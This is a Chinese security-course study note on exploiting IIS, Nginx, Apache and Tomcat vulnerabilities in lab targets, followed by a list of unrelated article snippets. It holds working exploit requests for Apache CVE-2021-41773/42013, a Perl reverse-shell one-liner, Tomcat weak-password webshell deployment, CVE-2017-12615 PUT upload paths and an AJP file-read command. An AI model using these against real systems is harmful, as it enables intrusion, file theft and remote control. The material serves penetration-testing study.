小迪安全v2023學習筆記(七十九講)—— 中間件安全IISApacheTomcatNginxCVE

文章目錄

  • 前記
  • 服務攻防——第七十九天
    • 中間件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE
      • 中間件 - IIS-短文件&解析&藍屏等
      • 中間件 - Nginx-文件解析&命令執行等
        • 常見漏洞介紹
        • 漏洞復現
      • 中間件 - Apache-RCE&目錄遍歷&文件解析等
        • 常見漏洞介紹
        • 漏洞復現
          • CVE-2021-41773
          • CVE-2021-42013
      • 中間件 - Tomcat-弱口令&文件上傳&文件包含等
        • 弱口令猜解
        • CVE-2017-12615
        • CVE-2020-1938
        • 其他CVE

前記

  • 今天是學習小迪安全的第七十九天,本節課內容是中間件安全,包括幾大常見的中間件:IIS、Apache、Tomcat、Nginx等
  • 主要以實戰為主,希望下去能自己復現一遍

服務攻防——第七十九天

中間件安全&IIS&Apache&Tomcat&Nginx&弱口令&不安全配置&CVE

中間件 - IIS-短文件&解析&藍屏等

  1. 短文件:信息收集,前面講過
  2. 文件解析:還有點用,前面講過
  3. HTTP.SYS:藍屏崩潰,前面講過
  4. CVE-2017-7269:條件苛刻無意義
  • 在前面的四十一講中講到過,文章地址:小迪安全v2023學習筆記(四十一講)-CSDN博客

中間件 - Nginx-文件解析&命令執行等

常見漏洞介紹
  1. CVE-2013-4547
    • 漏洞描述:后綴解析,文件名解析
    • 配置不當:該漏洞與Nginx、php版本無關,屬于用戶配置不當造成的解析漏洞。
    • 影響版本Nginx 0.8.41~1.4.3 / 1.5.0~1.5.7
  2. CVE-2017-7529
    • 漏洞描述Nginx越界讀取緩存漏洞,意義不大
    • 影響版本Nginx 0.5.6~1.13.2
  3. CVE-2021-23017
    • 漏洞描述:無EXP有POC,是拒絕服務漏洞,官方描述可以命令執行,但漏洞沒有公開
    • 影響版本Nginx 0.6.18~1.20.0
    • PoC地址:https://github.com/M507/CVE-2021-23017-PoC
  • Nginx漏洞公開官網地址:https://nginx.org/en/security_advisories.html
漏洞復現
  • 這里我們演示一下CVE-2021-23017這個漏洞,首先我們需要啟動昨天的Vulfocus,下載Nginx的靶場:
    在這里插入圖片描述

  • 然后啟動靶場,訪問網站,能看到下面這個頁面就說明是Nginx:
    在這里插入圖片描述

  • 我們可以通過數據包看看它當前的版本是否符合我們漏洞的影響版本:
    在這里插入圖片描述

  • 這里可以看到版本為1.18.0,符合我們的漏洞版本,這里就可以直接嘗試利用PoC驗證一下:

sudo python3 poc.py --target 192.168.0.143:34735 --dns_server 8.8.8.8
  • 直接使用這個poc.py是會報錯的,因為它不能解析ip:port這種格式,需要讓AI修改一下,然后再運行上面這個代碼:
    在這里插入圖片描述

  • 然后我們需要讓受害者主機進行DNS解析,訪問域名即可,但是這里是用的虛擬機,沒有域名,而且本地域名用了我也沒有復現成功,各位就下去自己試試看吧

中間件 - Apache-RCE&目錄遍歷&文件解析等

常見漏洞介紹
  1. CVE-2021-41773
    • 漏洞描述:CVE-2021-41773 是 Apache HTTP Server 2.4.49 中首次披露的路徑穿越(目錄遍歷)漏洞,攻擊者可繞過 URL 規范化,讀取 Web 目錄外的任意文件;若服務器同時啟用 CGI/ScriptAlias,還可進一步實現遠程命令執行(RCE)。
    • 影響版本Apache HTTP Server 2.4.49
    • 利用
#使用curl測試,前面是固定的,后面的/etc/passwd是要讀取的文件
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'# 使用bp發包測試
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
  1. CVE-2021-42013
    • 漏洞描述:CVE-2021-42013 是 Apache 對 CVE-2021-41773 的“修補失敗”產物:官方在 2.4.50 中只堵了單重編碼的 %2e,卻忘了處理雙重 URL 編碼,導致攻擊者仍可用 .%%32e 再次繞過路徑規范化,實現與 CVE-2021-41773 完全相同的危害:任意文件讀取 + CGI 場景下 RCE。
    • 影響版本Apache HTTP Server 2.4.50
    • 利用
# 命令行
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'# 數據包
# 下面使用bp發post包,數據為要執行的命令
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
# 要執行的命令,這里是執行反彈shell命令
echo;perl -e 'use Socket;$i="192.168.0.103";$p=6666;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};'
  1. CVE-2017-15715

    • 漏洞描述:Apache HTTPD 是一款 HTTP 服務器。其 2.4.0~2.4.29 版本存在一個解析漏洞,在解析 PHP 時,1.php\x0A 將被按照 PHP 后綴進行解析,導致繞過一些服務器的安全策略。
    • 演示案例:Apache HTTPD 換行解析漏洞 (CVE-2017-15715) - kalibb - 博客園 (cnblogs.com)
  2. CVE-2017-9798:利用價值不大

  3. CVE-2018-11759:利用價值不大

  4. CVE-2021-37580:插件漏洞

漏洞復現
  • 這里我們就只復現一二兩個漏洞(第三個是之前復現過的),然后需要下載對應的靶場
  • 我的本地靶場不知道怎么崩掉了,這里就還是使用在線的Vulfocus靶場,其實還是能用的
CVE-2021-41773

在這里插入圖片描述

  • 首先看一下它的版本為Apache/2.4.49 (Debian),符合我們的漏洞版本,那這里就直接測試了:
    在這里插入圖片描述

  • 成功讀取到/etc/password的內容,說明漏洞是存在的

CVE-2021-42013
  • 這個的靶場就可以直接用上面這個,然后我們也是直接嘗試PoC即可:
    在這里插入圖片描述

  • 或者使用BP發包,也是OK的,比如這里也執行id命令:
    在這里插入圖片描述

  • 當然,也可以嘗試反彈Shell,或者正向Shell都是OK的

中間件 - Tomcat-弱口令&文件上傳&文件包含等

弱口令猜解
  • 漏洞描述:Tomcat提供一個網頁端的后臺管理頁面,該頁面需要配置才可用,默認賬號密碼為tomcat/tomcat或者admin/admin,如果沒有重新配置賬號密碼則可用默認用戶登錄,或者爆破弱口令登錄;之后通過上傳War包可拿Shell
  • 利用
    1. 先爆破tomcat登錄弱口令
    2. 然后將生成的 webshell 后門如 1.jsp 壓縮成 zip 后修改后綴為 war
    3. 上傳 war 訪問鏈接 / 1/1.jsp
    4. 文件存在,上傳成功,使用工具連接即可
  • 演示
    • 首先配置tomcat賬戶,位置為/conf/tomcat-users.xml,添加如下用戶
      在這里插入圖片描述

    • 關閉殺軟,然后啟動tomcat,點擊Manager App
      在這里插入圖片描述

    • 輸入默認賬號和密碼嘗試登錄,或者嘗試弱口令爆破
      在這里插入圖片描述

    • 然后就登錄進來了,找到部署WAR文件的地方
      在這里插入圖片描述

    • 我們利用哥斯拉生成一個jsp后門,然后壓縮為壓縮包,將后綴改為.war格式
      在這里插入圖片描述

    • 上傳,然后訪問該war包下的1.jsp文件,出現空白說明文件存在
      在這里插入圖片描述

    • 然后直接通過哥斯拉連接即可
      在這里插入圖片描述

CVE-2017-12615
  • 漏洞描述:當存在漏洞的 Tomcat 運行在 Windows/Linux 主機上, 且啟用了 HTTP PUT 請求方法( 例如, 將 readonly 初始化參數由默認值設置為 false) , 攻擊者將有可能可通過精心構造的攻擊請求數據包向服務器上傳包含任意代碼的 JSP 的 webshell 文件,JSP 文件中的惡意代碼將能被服務器執行, 導致服務器上的數據泄露或獲取服務器權限
  • 影響版本Apache Tomcat 7.0.0 - 7.0.81
  • 利用:使用 bp 發 PUT 包,數據為 jsp 后門代碼,可以右鍵 Paste from file,然后選擇后門文件 1.jsp 即可
// 基于Linux
PUT /x.jsp/
PUT /xx.jsp%20// 基于Windows
PUT /xxx.jsp::$DATA
  • 演示
    • 這里關閉殺軟,生成一個jsp木馬,然后訪問靶場進行抓包,右鍵 Paste from file 選中剛剛的文件,并將提交方式改為PUT:
      在這里插入圖片描述

    • 顯示201說明上傳成功,我們訪問該文件,空白說明文件存在:
      在這里插入圖片描述

    • 直接嘗試哥斯拉連接,成功:
      在這里插入圖片描述

CVE-2020-1938
  • 漏洞描述Apache Tomcat AJP 協議(默認 8009 端口)由于存在實現缺陷導致相關參數可控,攻擊者利用該漏洞可通過構造特定參數,讀取服務器 webapp 目錄下的任意文件。若服務器端同時存在文件上傳功能,攻擊者可進一步結合文件包含實現遠程代碼的執行。
  • 影響版本
    • Tomcat 6.*
    • Tomcat 7.* < 7.0.100
    • Tomcat 8.* < 8.5.51
    • Tomcat 9.* < 9.0.31
  • 利用:https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 目標IP -p 目標端口 -f 讀取的文件名
  • 演示
    • 啟動靶場,然后直接腳本一把梭即可,比如這里讀取 /WEB-INF/web.xml 文件:
      在這里插入圖片描述

    • 如果該站點存在文件上傳功能,那可以配合實現RCE

其他CVE
  • CVE-2020-11996拒絕服務:危害過大,權限無關,意義不大
  • CVE-2020-9484反序列化:利用條件太苛刻,意義不大
  • 參考:Tomcat常見安全漏洞 | 高木のBlog

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/921533.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/921533.shtml
英文地址,請注明出處:http://en.pswp.cn/news/921533.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

《云原生微服務治理進階:隱性風險根除與全鏈路能力構建》

云原生微服務架構已成為企業支撐業務快速迭代的核心載體&#xff0c;但治理能力的滯后卻常常成為制約發展的短板。許多企業在完成服務容器化、部署自動化后&#xff0c;便陷入了“架構先進但治理粗放”的困境—服務數量激增導致依賴關系失控&#xff0c;流量波動加劇引發資源配…

因泰立科技:用激光雷達重塑智能工廠物流生態

應對AGV碰撞困局——激光雷達如何重塑智能工廠物流在現代化工廠中&#xff0c;AGV&#xff08;自動引導車&#xff09;與移動機器人已成為提升生產效率的重要設備。然而&#xff0c;這些智能設備在忙碌的工廠環境中&#xff0c;卻時常面臨碰撞的困擾。這不僅影響了生產效率&…

Remove.bg:精準自動摳圖工具,高效解決圖片去背景需求

有沒有做設計時被 “摳圖去背景” 搞到崩潰的朋友&#xff1f;上次小索奇幫同事做活動海報&#xff0c;要把人物圖從復雜背景里摳出來&#xff0c;用 PS 選了半天鋼筆工具&#xff0c;頭發絲還是漏一塊缺一塊&#xff0c;折騰半小時都沒弄好 —— 后來被設計圈的朋友安利了 Rem…

功率器件固晶挑戰:抗高溫翹曲治具提升IGBT焊接強度30%

功率器件封裝新突破&#xff1a;耐高溫防變形工裝助力IGBT模塊焊接強度提升30%在功率半導體封裝領域&#xff0c;IGBT模塊的芯片貼裝工藝正面臨嚴峻挑戰。隨著功率密度不斷提升&#xff0c;傳統固晶工裝在高溫環境下易發生形變&#xff0c;導致焊接層產生空洞、裂紋等缺陷。最新…

MATLAB可以實現的各種智能算法

MATLAB可以實現的各種智能算法(包括但不限于)中文名稱英文全稱縮寫出現年份算法來由&#xff08;靈感來源&#xff09;遺傳算法Genetic AlgorithmGA1975模擬達爾文生物進化論的自然選擇和遺傳學機理&#xff08;選擇、交叉、變異&#xff09;粒子群優化算法Particle Swarm Opti…

【iOS】push,pop和present,dismiss

文章目錄前言push和poppresent和dismiss基本方法屬性說明常見的用法運行演示push和present區別前言 在之前的學習中&#xff0c;我們發現iOS有兩種用于推出新界面的常用方法&#xff0c;分別是push和present&#xff0c;但是二者存在很多區別 present只能返回自己的上一級視圖…

編寫后端JAR包藍綠發布腳本

前端發布腳本的功能 保留每一個發布版本&#xff0c;防止新版本異常&#xff0c;方便回撤用戶無感知&#xff0c;防止發布過程中的宕機 原理&#xff1a; 發布的JAR包只是一個軟連接&#xff0c;新的JAR啟動正常后&#xff0c;切換軟連接指向即可。藍綠JAR包綁定端口不同&…

Kafka 和 RabbitMQ的選擇

h5打開以查看 選擇 Kafka 還是 RabbitMQ&#xff08;或其他傳統消息隊列&#xff09;并不是一個誰比誰更好的問題&#xff0c;而是 “哪種工具更適合你的特定場景” 的問題。 它們的設計哲學、核心架構和目標用例有根本性的不同。簡單來說&#xff1a; RabbitMQ 是一個消息代理…

LeetCode 刷題【66. 加一、67. 二進制求和】

66. 加一 自己做 解&#xff1a;逢十進位 class Solution { public:vector<int> plusOne(vector<int>& digits) {int add 1; //進位vector<int> res(digits.size() 1); //防止多一位的情況&#xff1a;9 1 10for(int i (int)digits…

《MATLAB 批量把振動 CSV(含中文“序號/采樣頻率”)穩健轉成 .mat:自動解析+統一換算+按 H/I/O/F-rpm-fs-load 命名》

一文搞定&#xff1a;批量把中文頭信息的 CSV&#xff08;含“序號/采樣頻率”等&#xff09;穩健轉成 .mat&#xff0c;并按規則重命名&#xff08;H/I/O/F-rpm-fs-load&#xff09;1. 項目背景 在振動/故障診斷采集里&#xff0c;我們經常得到一批 CSV 文件&#xff0c;文件名…

Unity與硬件交互終極指南:從Arduino到自定義USB設備

這篇教程將遵循“是什么-為什么-怎么做”的結構,從宏觀思路講起,再深入到具體的技術實現,并附上可以直接使用的詳細代碼和注釋,確保不同水平的讀者都能從中受益。 前言:當虛擬照進現實 在游戲開發和交互設計的世界里,我們常常滿足于鍵盤、鼠標和手柄。但當你想要創造真正…

Tomcat 日志文件名的命名規范

1. 核心日志類型及命名規范 (1) Catalina 日志&#xff08;引擎級日志&#xff09; 文件名&#xff1a;catalina.<yyyy-MM-dd>.log說明&#xff1a;記錄 Tomcat 啟動、關閉、嚴重錯誤等全局事件。示例&#xff1a;catalina.2025-09-07.log (2) Access 日志&#xff08;訪…

.vsdx文件轉pdf、word、ppt等文件在線分享(免費版)

網址如下&#xff1a; https://www.easeconvert.com/visio-to-pdf/ 只需要把.vsdx文件放到網址中即可

如何在Docker容器之間進行通信?

目錄 1. 使用 Docker 網絡(推薦) 步驟: 特點: 2. 端口映射(主機中轉) 步驟: 特點: 3. 使用 link(不推薦,已過時) 4. 跨主機容器通信 總結 在 Docker 中,容器之間的通信可以通過多種方式實現,選擇哪種方式取決于你的具體需求(如網絡隔離性、跨主機通信等…

從 “Hello AI” 到企業級應用:Spring AI 如何重塑 Java 生態的 AI 開發

&#x1f525;個人主頁&#xff1a;草莓熊Lotso &#x1f3ac;作者簡介&#xff1a;C研發方向學習者 &#x1f4d6;個人專欄&#xff1a; 《C語言》 《數據結構與算法》《C語言刷題集》《Leetcode刷題指南》 ??人生格言&#xff1a;生活是默默的堅持&#xff0c;毅力是永久的…

震驚!僅用10張照片就能隨意編輯3D人臉?韓國KAIST最新黑科技FFaceNeRF解析!

FFaceNeRF模塊 論文《FFaceNeRF: Few-shot Face Editing in Neural Radiance Fields》 深度交流Q裙&#xff1a;1051849847 全網同名 【大嘴帶你水論文】 B站定時發布詳細講解視頻 視頻地址&#xff0c;點擊查看論文詳細講解&#xff0c;每日更新&#xff1a; https://b23.t…

spring-ai-alibaba-deepresearch 學習(十四)——CoderNode

本篇為spring-ai-alibaba學習系列第四十篇前面介紹 ParalellExecutorNode 會為后續的 m 個 CoderNode 分配任務現在來看一下處理型任務的處理節點 coder_{i}該類節點主要負責執行一些操作&#xff0c;例如執行python代碼、調用mcp等提示詞以下是該文檔的中文翻譯&#xff1a;--…

基于STM32設計的激光充電控制系統(華為云IOT)_277

文章目錄 一、前言 1.1 項目介紹 【1】項目開發背景 【2】設計實現的功能 【3】項目硬件模塊組成 【4】設計意義 【5】國內外研究現狀 【6】摘要 1.2 設計思路 1.3 系統功能總結 1.4 開發工具的選擇 【1】設備端開發 【2】上位機開發 1.5 參考文獻 1.6 系統框架圖 1.7 系統原理…

【牛客拼數最大對比從左至右每位break與continue】2022-11-5

緣由牛客拼數最大問題&#xff0c;不從結果出發那種做法-編程語言-CSDN問答 思路倒序數后從右逐位比較大小 int 反序數(int n) {int nn 0;while (n)nn nn * 10 n % 10, n / 10;return nn; } void 牛客拼數位最大對比() {//4 7 13 4 246;3 13 312 343;3 1 2 3int a[20]{}, x…

【考研C語言編程題】數組元素批量插入實現(含圖示+三部曲拆解)

【考研C語言編程題】數組元素批量插入實現&#xff08;含圖示三部曲拆解&#xff09; 一、題目要求 編寫C語言程序&#xff0c;實現將數組b的所有元素批量插入到數組a的指定位置&#xff08;位置從0開始計數&#xff09;。要求嚴格遵循“騰出空間→插入元素→更新長度”的操作三…